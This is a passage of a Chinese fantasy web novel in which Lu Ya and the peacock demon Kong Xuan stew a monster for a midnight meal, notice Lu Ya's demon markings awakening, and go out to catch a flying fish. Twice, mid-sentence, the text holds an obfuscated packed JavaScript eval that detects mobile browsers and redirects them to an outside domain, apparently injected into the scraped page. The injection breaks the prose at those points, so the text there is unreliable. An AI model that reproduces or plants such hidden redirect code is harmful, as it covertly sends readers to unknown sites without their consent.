一只足有大型犬大小、豺狼模样的怪物摆在眼前,临时转职厨师的前清扫组组长陆压选择听取一下专业人士的意见。 从来都是生吃的“专业人士”脑袋空白,孔宣睁开眼,确实是两眼空空,就这么无辜地与陆压对视。 陆压琢磨了一下,依照孔宣对食材味道的描述,选择了最不会出错的铁锅炖。 ——铁锅炖化蛇。 他翻出一口巨大的铁锅,先烧了满满一锅水。 他和孔宣蹲在厨房里,像是两个分尸的危险人物,讨论的重点十分偏颇。 “不能在这里杀,血处理不了。” “蛇尾巴不能直接扔垃圾桶,被人发现会报警……骨头也不行!” “当化肥?听起来不错。” …… 雨丝逐渐变得微小,深深的夜色中,陆压面色如常地扛着铁锹,三两下就在后院的桃树下挖了一个坑,几乎没有发出什么声音。 他手脚十分麻利,带着剖尸已久的老练,迅捷又完美的刀工将切口切得十分平滑,丝滑地刨开了整个腹腔,将尾巴、脑袋以及不知道有没有毒的内脏抛进了坑中。 他缓缓填上泥巴,孔宣在旁边看着,眼睛还盯着树上的桃子看。 孔宣看了两秒,扭头问陆压:“这是你自己种的吗?五六十岁的老人家。” 他显然还记得陆压之前那句话,尽管五六十岁连孔宣的一个零头都不够。 陆压思考了一瞬:“这是我买房子时房东赠送给我的,说是他家里人从小种的。” “毕竟是人家养了很久的。” 陆压对桃树还是梨树并不在意,这棵桃树已经长出了院子,高高的树立在院中一角,早已亭亭如盖。 这是房东一家人的记忆,尽管它已经连同房子一起被卖给了陆压。 陆压从不轻视别人的心意。 他并没有这样可供回忆的物件以及家人,是以他没有打算换掉这棵老树,不出意外这棵老树会活到他死之后交给新的主人。 孔宣的手伸进袖子里掏了掏,尽管他身上的衣服是新买的睡衣,窄窄的袖子空空荡荡,他依旧从里面掏出了一根枝桠。 看起来像是梧桐树的枝桠,翠绿的叶子,深色的枝干。 他将这支枝桠插在盖好的泥土上,拍拍手,语气十分轻松:“好了,现在这是你种的了。” 陆压怔了怔,冷静分析:“只是这样扦插,可能种不活。” “没关系。” “旁边还有棵桃树遮阳,获得的阳光也很少。” “会活的。” “就算根长出来……” 陆压说的那些东西都太啰嗦了,孔宣甩了他一个白眼:“你啰嗦了。” 孔雀大王说能活就是能活。 孔宣叉着腰,一脸得意地扬起脸,这一瞬间他似乎无所不能,没有人可以让他低头或者屈服。 他是如此笃定、自傲。 以至于陆压又怔了怔,这一次他忍不住弯起唇角,一直冷凝着的眉眼松懈下来,露出一个浅浅的笑容。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647722|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 消去了那冷凝与严酷,陆压其实也才只有二十多岁,优越的眉眼总算从被冻结起来的冷峻中展露出它的优越之处。 “看来院子里要有两棵树了。” 养一棵树要很久的时间,要考虑得很多。 但好在,院子里也从一个人增加到了两个人。 陆压埋尸回到厨房的时候已经是两点钟了,孔宣依旧神采奕奕,甚至搬了一个凳子,目光灼灼地等待着自己的夜宵。 想到之前陆压的手艺,口水就忍不住从嘴角流出,他吸溜吸溜口水,忍不住地探头探脑。 陆压将大骨拆开剁碎,按照孔宣说的,把皮放火上撩了一遍,把碳化的外皮剥了,剁成一块一块的。 按照铁锅炖的做法,他准备了玉米、土豆和白天剩下的白菜、豆角。 准备好的肉冷水下锅焯水,煮到水开捞出肉滤水。 热锅倒肉在锅里熬出一点猪油,放入葱姜蒜煸炒香味,加入八角、桂皮、香叶煸香,再倒入排骨入锅,加入料酒调味,老抽上色。 再加几勺黄豆酱,炒出酱香味时,肉也上了漂亮的深色,水灌入锅大火炖煮。 另一个锅倒入油,加上各种蔬菜稍微炒熟,等炖锅里的肉炖好,加入盐、蚝油、生抽、白砂糖,等味道稍微过咸的时候,依次铺入蔬菜和清水大火焖煮。 在这个期间,孔宣忍不住探头,趁着陆压转身的空隙一点不怕烫地捞起一块肉先吞进了嘴巴。 等陆压转过头,就看到他腮帮子鼓鼓的,眼神明显闪躲,无疑十分心虚。 大厨陆压咳嗽一声,还没等他开始发作,孔宣先忍不住唔唔地反驳起来。 嘴巴里的肉滚了滚,忍不住往外掉,孔宣“唔”了一声,连忙捂住嘴巴,腮帮子咀嚼着,努力地往下咽,又被烫得正着,只能瞪圆了眼睛,一脸宁死不屈地瞪着陆压。 像是一只张扬起翅膀还恐吓不明白的毛茸茸大鸟,稀里糊涂地就被人捉住了弱点。 陆压有点无奈:“不咸吗?” 为了后续入味他可是加重了咸味的。 只有二次炖煮时被清水中和,才能达到美味的地步。 孔宣急急忙忙下咽,攥着拳头锤了锤胸口,面上露出已经迷醉的表情,美滋滋地眯起眼睛。 “好吃。”他舌尖轻撩,飞速撩过唇角,抿走唇上的汤汁,差点被好吃的排骨肉迷住了。 炖烂的肉不失筋道,略带咸味的芬香并不减分,反而因为一点料酒调和了味道。 汤汁在舌尖绽放,咸香的豆瓣香味浓郁极了,一口下去,浓重的料香早已混进了肉里,汁水四溢时美味烂在口腔,没有一丝肥肉的油腻,细腻的肌理在咀嚼过程中越嚼越香,反而让人迷醉。 这可把没见识的孔雀大王吃美了,他撑着腮帮子,守在锅的旁边,根本叫都叫不走。 陆压跟他说话,他轻嗅着空中的肉味,眼睛都不眨一下,更是回答得心不在焉。 直到“滋”一声轻响,冰冷的触感贴上他的脸。 孔宣被结结实实冻了一下,他不悦地拧起眉,嘴巴蠕动着愤怒地瞪向旁边。 陆压将一罐冰可乐在他眼前晃了晃。 头顶闪亮的白炽灯从他的头顶散落一片阴霾,他身量极高,特别是在孔宣坐着的情况,逆光的晦暗从他的身侧倾斜,几乎要将孔宣笼罩,他面色变得模糊不清,唯有那双漆黑如墨的眼似乎跳跃着光影。 “喝点东西。”他搬着凳子在孔宣旁边坐下。 比起孔宣对美食的狂热,陆压显得平淡很多,轻描淡写地剥开可乐拉环,将跳跃的气泡灌入口中。 碳酸饮料的刺激与甜蜜刺激着多巴胺的分泌,配合着灌入窗子的夜风,让这个寂静的夜晚显得格外舒适。 陆压穿着单薄的睡衣,暗色的刺青锁住他的背脊藏匿在发丝与衣料下,他肩膀与腰背连成一线,姿态极为闲适,遇见怪物的经历似乎只是他微不足道的过往之一。 镇定到有些过分了。 甚至还有闲心与孔宣碰杯,说了一声:“干杯。” 他抿了一口可乐,看着孔宣被这种跳跃的碳酸饮料狠狠刺激了一波,满脸惊异地试探,他忍不住弯起唇角。 孔宣试了好几次才品尝到这种东西的好处,他眉眼舒展,一下子把炖肉忘在脑后,探头就着陆压的手喝了一口他的。 “唔,没差。” 他瞬间对陆压手里的蓝罐失去兴趣,美滋滋地品尝可乐的滋味。 漂亮的双唇压在罐子边缘,几乎将近在咫尺的手指也一并抿住,滚烫的呼吸似乎也被可乐变得甜腻起来。 陆压一贯平稳的手赫然下沉一瞬,他垂着眼睛,鸦黑色的睫羽不受控制地低垂着,似乎将那一瞬间的艳丽捕获。 水珠沾上唇瓣,他似乎也陷入了某种微醺的状态,脑子一瞬空白之余,他喉头滚动,似乎被莫名的酒意醺醉,连声音也变得低哑。 “……先去睡觉吗?” 他一把将手里的可乐罐放在桌上,似乎早已不知道自己在说些什么:“我是说……” 孔宣眯起眼睛,漂亮的凤眼敛起玩味的弧度,他拖长语调“哦?”了一声,意味深长地眨眨眼。 缓慢靠近时他挑起眉,露出有点促狭的神色,在近距离的接触下,那双沾染水色的唇间无法克制地溢出了比碳酸饮料还要激烈的甜蜜。 “说什么呢?” 7. 第7章铁锅炖化蛇2 温热的吐息近在咫尺,毫无界限地侵染了他的呼吸,陆压平淡无波地将他压下,在孔宣促狭的目光中,轻声回应:“我是说时间很晚了,你可以先睡。” 他与孔宣对视,那双纯黑色的眼睛中纯粹直白,似乎没有丝毫的动摇。 艳丽至极的绚丽被他一手推开,他呼吸似乎重了一瞬又似乎没有。 凌晨三点的天黑得很没有道理,几乎透不见光色,只有厨房白炽灯明晃晃地将两人的神色照亮。 孔宣扬起眉,似乎抓住了什么小辫子,嗓音轻慢愉悦:“我才不要。” 他难以自控地翘起嘴角,用可乐罐子挡住他忍不住发笑的表情,牙齿轻磕在罐边,做出一副自己要专心品味的态度。 “抛下一锅好吃的去睡觉,实在是太浪费了。”他言之凿凿,振振有词,似乎又有点沾沾自喜。 喜滋滋的样子,似乎已经从越发浓香的香味中品味到了无上美味。 孔宣眯起眼睛,露出锐利、笃定以及难以言喻的幸福表情。 他不肯挪窝,凌晨三点钟,陆压打开铁锅盖子,一股浓浓的肉香飘了出来。 那股味道极为霸道,随着咕噜咕噜的气泡声,一声一声催促着人类的味觉器官,不自觉泛起馋意。 孔宣根本等不到出锅,无情铁手拨出一块,“嗷呜”一口含进了嘴里。 如他所说,看起来像是蛇肉,吃起来却有点像鸡,炖煮过头的肉只要轻轻一抿,顺着肌理抿开,细腻的味道霸道地占据着感官,让人恨不得连舌头都一起吞下去。 孔宣面露幸福,腮帮子鼓起一边咀嚼。 细腻的肉质比起普通的蛇肉或者鸡肉还要不同,介于两者之间,炖煮入味的肉一咬,浓密的汤汁溢出,直击味蕾,简直香得人意乱神迷。 陆压一把将整锅的菜倒进大铁盆里,他还蒸了一锅米饭,味道极好的大米蒸得粒粒分明,米饭的本味淋上酱汁,简直就是某种下饭利器,令人忍不住吃了再吃。 最绝妙的是里面的蔬菜,炖烂的土豆糜烂又美味,过于清甜的玉米则展现了截然不同的风味,还有豆角与白菜……几种平凡的配菜一结合,一口肉一口菜再配上香喷喷的大米饭,是身边有人死了都察觉不到的美味。 孔宣埋头苦吃,已经不记得这锅里炖的是什么了。 凌晨三点,正是猛猛干饭的好时候! 陆压坐在孔宣对面,他端着一碗白米饭,像是妈妈一样给对方夹菜:“多吃点多吃点。” 他脸上的表情似乎已经达到了某种境界,多美味的菜肴他依旧不为所动,毕竟他清楚地知道里面炖的是什么东西。 他亲自刨开的,一只犹如豺狼实际上是蛇类,味道上却像鸡的怪物。 作为一个人类——陆压自以为的,他显得慎重得多,尽管他已经吃过两次妖怪肉了。 他一贯细致谨慎,这种谨慎是一个厨师对食材的慎重,他面色凝重,冷静地询问孔宣:“这种肉会有毒吗?” “我是说,吃了之后不会长出三只手四条腿什么的。” 孔宣:“好吃,多吃,爱吃。” 猛猛干饭的孔雀大王已经说不出话来了,他只能“嗯嗯”点头,筷子动得飞快,飞速夹了几块肉落到陆压碗里。 这肉没有肥肉,每一块滚上酱汁,已经分不清是鸡肉还是蛇肉。 陆压夹起,用打量什么黑暗料理的眼光盯着它看了两秒,随后送入嘴中。 不会做菜的清扫组组长不是一个好厨子。 这话真的不容辩驳,这块肉完美地展现了陆压的厨艺。 它细嫩、美味,浓重的豆瓣酱与汤汁混杂在一起,咀嚼之时,肉柔韧细腻,并不像普通的鸡肉或者蛇肉一样,它有着自己本身的风味,经过人类烹饪手法的制作过后,它足以征服任何人的胃口。 即便是陆压。 即便是陆压也不能抗拒这个味道,他在短暂地停顿过后,已经毫无芥蒂地将美味送入口中。 他不动声色,筷子使得比孔宣还利索。 两个人像是打战一样,只是一个张扬一个内敛,用自己的节奏飞速地抢劫完一整锅炖肉。 孔宣吃得肚子滚圆,抱着碗像是吃撑了般面露迷茫之色,在短暂的呆滞之后,他情不自禁地感慨:“这玩意到底是谁研究的呢?” 呜哇,真的超好吃啊! 陆压默默吐出一块骨头,他不动声色,像是任何一个不露锋芒的厨子,只是安静地聆听食客的赞美。 他只是矜持地低下头,视线扫过孔宣那吃饱喝足的幸福表情,无声翘起唇角,略表谦虚。 只是,陆压站起来的一瞬间,他感受到的不是饱腹,而是饥饿。 即便一只形如豺狼大概有一百来斤的怪物被他们瓜分了,他依旧没有感受到任何的饱腹感。 像是没被填满过的无底洞,吃进去的肉全部转化为灵气补进身体,换来的不是饱腹,而是长久没被满足的饥饿。 被唤醒的无法抑制的饥饿在叫嚣着更多更多地补充,他身上的妖纹似乎滚烫起来,不受控制地蔓延过后脊,贪婪地消化着吃入身体的灵气。 陆压抬起手臂,他明智地穿了一件长袖的厨师服,雪白的厨师服宽松地遮住了他有可能生长出来的黑羽,即便如此,依旧有零星几片细密的绒羽在他的颈间生出。 他不是要长第三条手臂第四条腿,而是感受到了无穷无尽的饥饿。 饿。 陆压视线转动,下意识地看向孔宣。 孔宣撑着腮肉,一双灵动漂亮的眼睛盯着他,清晰地倒影出一双布满璀璨妖异的眼睛。 他撑着桌子,主动靠近陆压的一瞬间,他闻嗅到了极度危险的味道,无法预兆的危机踩着他的警诫红线跳舞,棋逢对手的兴奋感令他汗毛倒竖,酥麻直直地从他的背脊滑过,流窜到了更值得兴奋的地带。 在无限的危机下,他轻轻搔弄过陆压颈间生长而出的绒羽,细细密密的羽毛蹭过他的指腹,他歪过头,格外玩味地挑眉。 “你要变怪物了吗?因为吃了一只妖怪。” 陆压分明还问过他会不会变怪物,此刻他却口吻笃定:“当然不会。” “那你要变成什么?” “很明显,这只是你的错觉而已。” 两个人短暂的交锋随着绒羽消失而宣告暂停,暗色的妖纹顺着陆压的脖颈一路滑进衣服里。 孔宣踮着脚,用鼻尖蹭开他的后领,清晰地看见了那一团如薄雾般的刺青。 “是一棵树。” 这棵树从陆压的尾椎生长而出,无数的太阳从树的枝桠长出,妖异的火鸟张着翅膀,似乎要从枝桠展翅高飞。 但很快,树的枝桠萎缩收拢,只剩下一条笔直贯穿整条脊骨的枝干,隐秘的神纹布满了整根躯体。 只是这么看上一会,就让人感觉头晕目眩。 陆压显得淡定极了,他甚至回应孔宣:“很明显,这是棵树。” 孔宣晕乎乎地倒在他的肩膀,迷迷瞪瞪地问他:“哪来的?” “年轻不懂事纹的,不能考公考编,真是吃大亏了。”陆压的回答十分老实本分,口吻像是真的有那么一段轻狂的岁月,透着淡淡的遗憾。 “这年头考公考编还是大热门,比开个小餐厅稳定多了。” “唔……会、会猛猛赚钱的!孔雀大王保证呼~” 孔雀大王支棱不到两秒,眼睛一闭,晕乎乎地倒在陆压的怀里,呼吸稳定地喷洒在他的颈间,靠在陆压肩膀上睡了过去。 陆压偏了下头,顺着厨房不锈钢的影子看了看两个人靠在一起的身影,他摸了摸后颈,被发尾遮住的部分是一团形如圆环的妖纹。 他一定混了很厉害的种族。 陆压还记得妖管局的老师是怎么评价他的,那些老师有人有妖,有些妖族已经活得很久了,他们亲近人类,愿意给人类培养出一把刀。 唯独不该是陆压。 没有妖族能直视他的妖纹一分钟以上,上面布满了奇异的文字,在远古时期或许可以被称之为神语。 这是某种传承的体现,尽管它已经随着一代一代的混血消弭在基因记忆里。 但陆压或许就是那个中基因彩票的出色传承者。 ——千年难出一个。 只可惜在末法时代,陆压已经不可能再觉醒了。 他只会耗尽体内妖力,早衰而亡。 陆压又一次撩起了袖子,片片黑羽再一次附着上他的手臂,流畅有力的肌肉线条被黑羽覆盖,却不会像以前一样抽空他的妖力。 这大概就是灵气复苏的好处吧。 陆压想,妖管局的妖医还是判断失误,他不会在一年后妖力衰竭而死,他真的要老老实实还二十年贷款。 不能把房子捐给妖管局让妖管局继续还债,再敲他们一笔,陆压觉得还是有点遗憾。 他心情很好地翘开一罐可乐,无声贴了贴怀里呼呼大睡的孔雀大王。 “干杯。” 孔雀大王被冰了一下,脑袋直往陆压怀里钻,哼哼唧唧地乱拱。 “唔?” 迷迷糊糊从困意中睁开眼睛,明亮的阳光落在眼皮,孔宣眨了眨眼睛,润湿的眸色突然清明。 他一下从床上跳起来,脑子里还回想着昨天晚上的画面,记忆断代般停留在“餐厅不赚钱”这个重点上。 然后…… 然后…… 孔宣脑子卡壳一瞬,茫茫然站在房间里,困惑地歪过脑袋。 然后? 他是怎么睡着的? 这个问题可为难住了孔雀大王,大王的脑子转了转,呈现出鸟类独有的记忆水平。 孔宣眨巴眨巴眼睛,手摸索到下巴认认真真地思考了一瞬,无果之后彻底抛之脑后。 他脚步飞快地从楼上跑到楼下,在楼梯间的窗户往下望,看到了正在院子里浇水的陆压。 陆压穿着白色背心,套着短裤拖鞋,非常有闲心地叼着根烟,手捏着水管冲着院里的桃树猛猛浇水。 他抬起头,头顶明亮的阳光刺着眼睛,视线范围内,长长的头发顺着窗户垂下,孔宣从窗户探出头,像是一位被困在二层高塔的长发公主,可惜头发还没有长到可供人顺着爬上。 而孔宣也不是长发公主,他是孔雀大王。 陆压关掉水,用一本正经的语气调侃他:“大王,下来吃早饭了。” 孔宣:!!! 坏心眼的人类! 孔宣瞪圆了眼睛,一副要打爆坏人类狗头,气势汹汹地登登下了楼。 昨天晚上三四点才睡,陆压精力充沛,居然早早就起来揉面蒸好了一笼包子。 他穿着单薄简单的衣服,肌肉线条并不夸张,但依旧能看出训练的痕迹,一举一动都透着难言的力量感,挺拔劲瘦的身躯往那里一站,都足以令人目眩神迷。 何况他手中捏着水管,水流哗哗流出落在地上,也从指缝中溅到他的身上,印出淡淡的肌肉印子。 十足秀色可餐。 孔雀大王气势汹汹下来,被美色和包子堵了嘴巴。 软韧热乎的包子皮薄馅大,一口下去先尝到的是酸菜的肉馅,酸菜混着豆腐和肉糜,酸咸被豆腐与面皮中和,变得美味多汁,猪肉的糜香留在唇齿间,被酸菜消去了油腻,变得清爽美味。 孔宣立刻忘记了坏心眼的坏人类,他一本满足地翘起唇角,睡乱的头发凌乱地披在肩膀上,还有小碎发俏皮地翘起,鼓起的腮帮子软乎乎的,被美味惊圆了眼睛,像是小动物般不住地低头啃咬。 只是看着他吃,都能感觉到十足的满足,似乎也一同品味到了美味的滋味。 他甜蜜地弯起嘴巴,湿红的舌尖撩过唇角,一点不浪费地将剩余面皮塞进嘴巴。 孔宣哼哼唧唧,嘴巴里塞着美味的包子,已经说不出为难人类的话了。 最终脾气很好的孔雀大王只是气呼呼地瞪了陆压一眼,支棱着骄傲张扬的神采,溜溜达达地转回了前店。 孔雀大王可没有忘记,这个人类还需要努力开餐厅吸引客人赚钱。 很有责任感的绿孔雀用挑剔的目光在店里转了一圈,像是巡视自己的领地,尽职尽责地拿着抹布这里擦擦那里擦擦。 他自认为已经非常努力了,擦了擦额头并不存在汗水,很有成就感地转回后院。 “在干什么?”他很有好奇心地钻到陆压旁边。 陆压手扯着后领子,只是顺手往前一拉,腰背躬起连成一片紧绷的弧度,肌肉牵引间如一只凶猛的怪物,轻松将湿掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647723|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的背心扯下。 孔宣目光灼灼,视线在紧绷的腰腹肌肉滑过,转到了男人强壮的胸肌,那一瞬间,他的眼睛仿佛被阳光下油光发亮的皮肤所蛰。 陆压漫不经心问他:“中午吃什么?” 孔宣显然心不在焉:“腹肌……” 陆压:? “腹鸡?”陆压脑子里飞快掠过一边山海经的怪物,试图对上这个名字。 而且随着孔宣的诉说,陆压情不自禁地感受到了强烈的饥饿。 他喉头滚动,饥饿又期待的目光俨然传递给了孔宣,与昨天小心谨慎不愿意吃妖怪的态度形成鲜明对比。 简单来说,真香了。 好吃,爱吃,想吃。 孔雀大王:!!! 说漏嘴的孔雀大王凶巴巴地瞪圆眼睛,色厉内荏地指责:“吃吃吃,就知道吃!” “桌子擦了吗?地扫了吗?钱赚了吗?人,你一点追求都没有怎么才能养得起我!” 被CPU的陆压:…… 好像他才是老板吧? 在这个店里,老板不是老板,员工不是员工。 还要还二十年贷款的老板陆压默默叠了叠手中的背心,顺手扯下一件晾干的短袖套上。 漂亮的胸肌—— 漂亮的腹肌—— 随着衣摆逐渐下拉,孔宣眼前的美景显然被一一遮挡。 陆压显然是穿衣显瘦脱衣有肉的类型,穿上宽松的衣服,任谁也看不出看起来像大学生的陆压衣服底下是怎么样恐怖的肌肉密度。 失去肉/体诱惑的孔宣把视线放到陆压脸上,陆压优越的眉朝他轻挑,轮廓端正而清俊,长眸深折,眼睫浓密,透出一种禁欲而深邃的气质,冷冽之下才能摸索到他浅藏冰层的活泼春意。 很好,脸也很好看。 孔宣大大方方地绕着他看了一圈:“人,你该工作了。” 陆压不动声色地学着他说话:“宣,你也该工作了。” 陆压推着孔宣往外走,从后院到前店这几步距离,两个人走得歪歪扭扭。 具体体现在,孔宣对陆压按住自己的姿势不满,指责他过于冒犯,陆压虚心求教,还配合着吹捧几句。 “大王,臣有一事,可解燃眉之急。” 孔宣显然被顺毛摸爽了,他傲气点头:“说。” “大王请看。” 陆压从口袋里掏出手机,请孔宣看了一个视频。 两个人靠在一起,孔宣好奇地歪过脑袋,陆压配合地低下头,压低手臂姿势,就着这个亲近的姿势观摩起了视频。 视频很短,只有十几秒,是一个钓鱼佬从水里钓上一条足有一条胳膊长的“鲫鱼”。 这条“鲫鱼”长得十分古怪,外表似鲫鱼,两边的鱼鳍却像是一对透明的翅膀,它扇动着翅膀,身上的鳞片散发出幽幽的光彩。 有那么一瞬间,它飞起来了。 是真的飞起来了,悬浮在空中,因为它被吊着的情况,拍视频的人显然并没有意识到不对。 评论区里嘻嘻哈哈一群钓鱼佬问哪里钓的,陆压也在其中,一顿吹捧摸出了对方的钓鱼点位。 妖管局依靠国家,自建国起运行多年,职能分布十分明晰,每个组都有自己负责的部分,清扫组只负责接到任务前往斩杀,收集情报是观测组的事。 但陆压混迹多年,早已拥有无数个小号,潜伏在各大群里。 退大号而不退小号,显然是明智之举。 陆压与孔宣看了几遍,孔宣目光定在那条鱼上,忍不住舔了舔嘴巴,就连陆压都忍不住咽了咽口水。 他们对视一眼,显然有同样的念头。 这条鱼一定很好吃/这条鱼一定很饱腹。 孔宣明显被这条鱼馋到了,忍不住发出饿饿的声音:“中午吃这个?” 牛首山的飞鱼,吃了可以治痔疮和腹泻,肉嫩而鱼肥,是十足的美味。 就是不知道从哪座山上流下来的。 陆压明显知道心急吃不了热豆腐,何况这条鱼无处可买。 他思索片刻,写出一个地址:“得看能不能钓到。” 要准备一点鱼饵。 孔宣眼巴巴地跟着他:“那晚上呢?” “钓到就吃。”陆压脚步匆匆,转进了厨房里。 放在桌子上的手机叮咚几声,陆压拿起划开锁屏,看到了胡一良的消息。 [不想上班]:woc,是化蛇!清扫组追了几天被哥碰上了,这也太棒了吧!哥哥哥!真的不考虑返聘吗?签外聘也可以哇!/可怜/可怜 [不想上班]:国企诶,升职加薪诶,陆哥你就一点都不心动吗? …… 陆压没回,手指往下一滑,新的消息跳了出来。 [不想上班]:wocwoc!哥哥哥!新情报! [不想上班]:勘探队那边说鲜山发现了神仙洞窟,里面有神人生活的痕迹……现在居然还有神! [不想上班]:[图片][图片][图片] 陆压点开一看,只看见漫天青色,模糊的壁画洞窟只隐约显露出一个人形,似乎在被众生朝拜,色调和绘画风格极其熟悉。 陆压想了很久,直到一颗脑袋探了过来,孔宣皱着眉不满地横他一眼:“你背着我看什么?” 有什么是孔雀大王不能看的? 他眉眼鲜活张扬,好的坏的情绪直白又明媚,一眼横过来,像是春波暗送,格外漂亮。 陆压手指摩挲,几张图片在眼前转来转去,竖起手机和孔宣的脸比在一起。 孔宣:? 陆压轻描淡写:“看到一张很像你的图片。” 孔宣一下子来了兴趣,压着陆压的手转过头去看,他歪着脖子,如绸缎般靓丽的发丝隐约透出一点颈间的雪白,显得隐约朦胧。 陆压的目光定在他的颈间,似乎有点涣散。 直到孔宣气鼓鼓地一巴掌盖住手机,炸毛怒瞪他:“这像我吗?!” 又模糊又掉色,一点细节都看不出来,脸都糊成一片了。 丑!!! 爱美的孔雀大王再也忍不了了,大声怒斥人类有眼无珠:“这能是我吗?” 人,眼睛不要可以捐给有需要的人! 8. 第8章家烧飞鱼煲 青年明媚张扬的眉眼落在眼前,恰是一线天光从窗户切入,直白明了地照亮了整个视野。 在脑海中,只剩下灼灼明亮这个词汇。 陆压终于想起来这个壁画眼熟在哪,在沙漠万千洞窟中,那旖旎古老的色彩画风,正是敦煌壁画。 他早年前去那里斩杀过一只壁妖,那是一只石窟成精的妖怪,它在深夜起舞,将来修复的壁画师拉入千年前的岁月。 流连忘返、意乱情迷。 只差一线,那些修复壁画的工作人员就要永远留在那醉生梦死的唐梦里。 他再次摩挲壁画的照片,思考眼前的孔雀妖是否是一只以美色惑人壁画妖精,但最终他手指一松忍不住掐了把他气呼呼的腮帮子。 鼓鼓的,软软的,像是早上蒸出来的白面包子。 孔宣被掐了一把,他眉眼呆滞,漂亮的丹凤眼瞪得滚圆,似乎无法理解发生了什么,在反应过来后,他气得要死,下颚紧绷,恨不得一口咬死陆压。 他确实这么干了。 雪白整齐的牙齿一口咬在陆压的手背上,陆压收手不及,被他狠狠咬出一个牙印。 他含着人的手背,像是一只择人而噬的艳妖,生机勃勃的眉眼得意神飞。 “看你还敢不敢了?” 陆压从他的神色中读出这个讯息,他立刻举手,识时务地道歉:“再也不敢了。” 触及孔宣脸上的不忿与怀疑,他冷凝的眉眼微弯,似乎挑了下眉:“对天发誓,大王。” 坏心眼的人类! 孔宣哼哼两声,自觉自己已经给了对方一个教训,他比出一个手势,牙齿用力抵在皮肤上,直到陆压配合着发誓,他才终于大慈大悲地松了口。 人类脆弱的皮肤很快浮现出一个刺红的牙印,酥酥麻麻的刺痛感有一瞬间令人失神。 陆压谨慎地用水洗了洗伤口,他思考了一下,试图搜索“被绿孔雀咬了要不要打疫苗”。 最终出于信任——不想再刺激孔雀大王,他只是用酒精洗了洗伤口。 为了钓那条会飞的“鲫鱼”,陆压征询了孔宣的意见。 孔宣显然没有什么意见,他翻出一个包子歪在窗户上啃。 里面的豆沙显然是手工制作而成,里面的豆沙绵密甜软,在唇间一抿,似乎在口中化成了绵密的云团,甜得人说话都跟着甜蜜起来。 孔宣吃什么都稀奇,只是抿着一口豆沙包子,丹凤眼傻乎乎地与陆压对视,似乎才从美味中转过弯来。 听陆压询问带什么饵钓,他偏过脑袋,示意般往窗外一瞥:“带点实际的。” 他是说那只化蛇的内脏。 为了防止有毒,陆压将内脏全部扔掉,晚上那一锅铁锅炖的味道似乎还残留在唇齿间。 孔宣唇间含着豆沙包子,在唇间滚了滚,还是忍不住馋铁锅炖的味道。 包子虽好,肉也不可少。 “钓到那条鱼,我们怎么做?” 他脚步跟着陆压,几乎亦步亦趋地跟在他的脚后跟,状似不经意地询问。 陆压刨开泥土,从地里拎出一条肠子,结果一晚上的深埋,它依旧是原来的模样,没有丝毫腐烂的意图。 很好,孔宣不动声色地放缓了呼吸。 并没有被臭到。 陆压随口道:“红烧吧。” 那是一条飞鱼,如果重量够重,他们可以红烧全鱼,如果能钓两条,飞鱼汤和红烧鱼似乎是不错的选择,如果还钓到一点小鱼苗,可以油炸小鱼。 作为这家私房菜馆的厨房话事人,陆压呈现出了极佳的厨师素养,只是片刻,他已经想好可以做什么了。 他找了一个桶,还是现买了鱼钩鱼线,拎着东西就带孔宣出门了。 陆压与孔宣并没有钓妖怪的紧张感,就很平常地站在站台等公交,选择了绿色出行。 ——除了颜值都有点出人意料外。 孔宣穿着单薄的白衬衫和长裤,站立在站牌下,稀碎的光影透过头顶的枝叶浮光掠影般洒落在他衣上,衬得他衣上光影斑驳。 他长眉斜飞,凤眸狭长张扬,面部轮廓并不柔和,反而秾烈张扬,神采飞扬间那种嚣张感随意流出。 分明只是不过百元的普通穿搭,依旧被他穿出金玉养不出的贵气与张扬。 所有人都在看他,他仍然不受困扰,像是一切注视都理所应当,只是略倾了倾身,张扬地与陆压靠在一起。 他与陆压耳语:“你确定那个地方有飞鱼?” “有人钓到过。” “没飞鱼我就把你吃了。” “请吃。” 陆压伸出手臂,似乎真有这个打算,他眉眼依旧冷淡,只是从眼底溢出一点笑意。 两个人低声玩笑着上了公交车,公交车嘟嘟开了一个多小时,最终在一个偏僻的山路口停下。 这一片算是未开发的地区,只是时常本地人过来爬山钓鱼,因为山头太小又比较偏僻,没有什么开发的价值,至今也只通了一条公交车线。 他们的同路人只有彼此,陆压提着桶,走在农村的小路上,孔宣揣着手顺着他的脚步往前走。 他们溜溜达达走过山路,踩过人搭的空心砖桥,在深入山林的时刻看到了一天潺潺流动的小河流。 几块大石头矗立河床,算是搭建了一条过河路。 陆压在中间位置将肠肉挂在钩子上,随便用木棍捆了鱼线,随手就抛出去了。 “这就好了?”孔宣问。 “好了。”陆压学孔宣插兜,他眉目沉静,气势被身上闲适的姿态消减,连一贯冷峻的眉眼都慵懒了几分。 看起来不太靠谱。 孔宣一脚踩在岸边的土堆上,他从凌乱的草丛中抽出几根细长的竹子,在手里掂了掂,随手甩了一根给陆压。 “还得看我。” 他扛着笔直的竹棍,自信满满的哼气。 信心满满,斗志昂扬。 陆压忍不住问:“大王,你钓过鱼吗?” 孔雀大王支棱着羽毛,声音很大地说:“没有!” 孔雀骄傲.JPG 孔雀大王还需要钓鱼?孔雀大王只要张开嘴巴,等着猎物撞进嘴里,他一顿啃啃啃就完了。 孔宣根本就没想钓鱼,他恣意惯了,自然也不打算走什么寻常路,而是将竹棍一把 